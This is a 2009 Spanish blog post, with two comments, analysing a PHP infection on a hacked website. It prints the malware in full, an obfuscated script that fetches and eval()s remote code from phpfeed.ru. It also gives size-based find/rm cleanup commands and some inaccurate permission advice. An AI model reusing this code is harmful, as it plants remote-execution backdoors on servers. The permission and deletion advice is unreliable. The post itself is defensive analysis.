Ago/092
Tu sitio web está seguro?
Hace unos días me consultaron sobre unos archivos extraños que aparecieron en un sitio web. Al investigar la situación, me di cuenta que dicho sitio había sido intervenido por un virus y casi todas las carpetas habían sido afectadas.
Paso a explicar.
Cuando un directorios público queda (mal) configurado con permisos de escritura (rwx 666), es pasible de ser invadido con archivos de cualquier naturaleza, imágenes, videos, en particular scripts PHP. Con scripts Perl (.pl) este problema no ocurre ya que requieren permisos especiales de ejecución, sin embargo con PHP esto es diferente.
Los archivos que se publican tienen extensión PHP y su nombre es un número aleatorio (tal como pueden ver en la imagen).

El contenido de dichos archivos es siempre el mismo y su código es:
<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z=”/?”.base64_encode($a).”.”.base64_encode($b).”.”.base64_encode($c).”.”.base64_encode($d).”.”.base64_encode($e).”.”.base64_encode($f).”.”.base64_encode($g).”.”.base64_encode($h).”.e.”.base64_encode($i).”.”.base64_encode($j);$f=base64_decode(”cGhwZmVlZC5ydQ==”);if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])==”bfb4fd4b1e62dd38924d48daba76f31f”) $f=$_REQUEST["id"];if((include(base64_decode(”aHR0cDovL2Fkcy4=”).$f.$z)));else if($c=file_get_contents(base64_decode(”aHR0cDovLzcu”).$f.$z))eval($c);else{$cu=curl_init(base64_decode(”aHR0cDovLzcxLg==”).$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);}; ?>
Parseando, decodificando y analizando éste código, se puede identificar que cuando es ejecutado se invoca a otro sitio web (phpfeed.ru), obtiene un código PHP y lo ejecuta.
Hasta el momento no he podido obtener dicho código, pero si tenemos en cuenta los subdominios que invoca (ads.phpfeed.ru, 71.phpfeed.ru o 7.phpfeed.ru) y el propósito del sitio phpfeed.ru aseguraría que se trata de un servidor de publicidad.

Vale la pena destacar, que junto a cada uno de estos archivos, se encontrará también un “.htaccess”, cuyo contenido es el siguiente:
Options -MultiViews
ErrorDocument 404 //templates/ja_jamba/167953php
Ahora bien, si analizamos el conjunto de archivos, podemos identificar que cada vez que se realiza una petición inválida a cualquiera de los directorios, en lugar de mostrarse la página 404 configurada para el sitio web, se ejecutará el archivo PHP y a continuación se presentará una página con publicidad (esto último es un supuesto).
Cómo resolvemos este problema?
Antes que nada, cambiarle la seguridad a todos los directorios a “644″ lo que significa que todos pueden leer y solo el dueño del sitio puede escribir.
Luego, identificar los directorios que tienen este problema, para lo que les recomiendo publicar el siguiente script en la raiz de su web y ejecutarlo:
<?php print `find . -name “*.php” -size 1469c` ?>
<?php print `find . -name “.htaccess” -size 85c` ?>
Este script listará todos los archivos PHP y .htaccess que cumplan con la condición de tamaño. Cuidado con la .htaccess que podría retornar algún archivo válido. En el otro caso dudo que justo tenga el mismo tamaño.
Por último, eliminar los archivos infectados! Copiar y ejecutar el siguiente código en la raíz del web:
<?php print `find . -name “*.php” -size 1469c -exec rm -f {} \` ?>
<?php print `find . -name “.htaccess” -size 85c -exec rm -f {} \` ?>
Ahh, algo más…
Me llamó la atención la poca información que hay al respecto, y la que hay está en ruso o rumano!
Buscando un poco más, encontré con que se trata de la mutación de un virus. El actual invoca al servidor “phpfeed.ru” mientras que el anterior a “rssnews.ws”.
Acá pueden encontrar algo más de información http://www.google.com/search?q=”rssnews.ws”


15:40 on Agosto 5th, 2009
Como anda sr!!! tanto tiempo, bueno yo fui victima del famoso virus. Hasta ahora no lo han podido solucionar, aparentemente a algun zapallo le rebaron la info de acceso ftp. Ahora mi consulta, independientemente el servidor donde se alojan los sitios no deberia tener proteccion para estos scripts? como pueden recorrer todo el disco de un server sin que el proceso no sea detectado?
09:54 on Agosto 6th, 2009
Hola Marcos! Hace un par de años que no nos vemos.
Por lo que estuve vichando, el funcionamiento del virus es el siguiente:
1) Detecta un directorio con permisos de escritura.
Esto es sencillo, ya que teniendo acceso a la página principal, se puede desarrollar facilmente un script que navegue por todo tu sitio (público) armando el arbol de directorios.
Luego, una vez que tiene toda la jerarquía, alcanza con hacer un PUT por HTTP para tratar de escribir un archivo (así como está GET y POST, también estan PUT y DELETE).
2) Cuando puede escribir en un directorio, estás frito! ya que inserta una página PHP y la ejecuta. Dicha página se ejecuta con tus permisos, y, por ejemplo, ejecuta un código que recorra todo tu directorio (no el público, sino que el privado) para recolectar información, seguir poniendo otros scripts, etc.
El problema con esto, es que algunos sistemas (p.e. CMS) necesitan que ciertos directorios publicos tengan permisos de escritura, ya que por ejemplo implementan algún mecanismo de cache.
Ahora bien, según encuentro en http://wiki.linuxquestions.org/wiki/Securing_Apache, se podría agregar en el archivo .htaccess del sitio el siguiente código para limitar el acceso PUT/DELETE:
En cuanto a que el servidor tenga protección para estos scripts, es cuestionable, ya que podría estar infringiendo alguna ley de violación de propiedad privada o algo por el estilo… ya que se estarían metiendo con código de tu propiedad (es mas o menos como que el dueño de la casa que alquilas se meta a tu casa para ver que estás haciendo).
Lo que si podrían hacer, es bloquear el acceso de salida (por HTTP) hacia los servidores del virus (phpfeed.ru).
Otro detalle, e independiente de este virus, es que al contar con esta falta de protección, cualquiera podría hacerte pelota tu sitio, ya sea cambiando páginas/imagenes/scripts o eliminandolas.
Si averiguo algo más te aviso.
Suerte!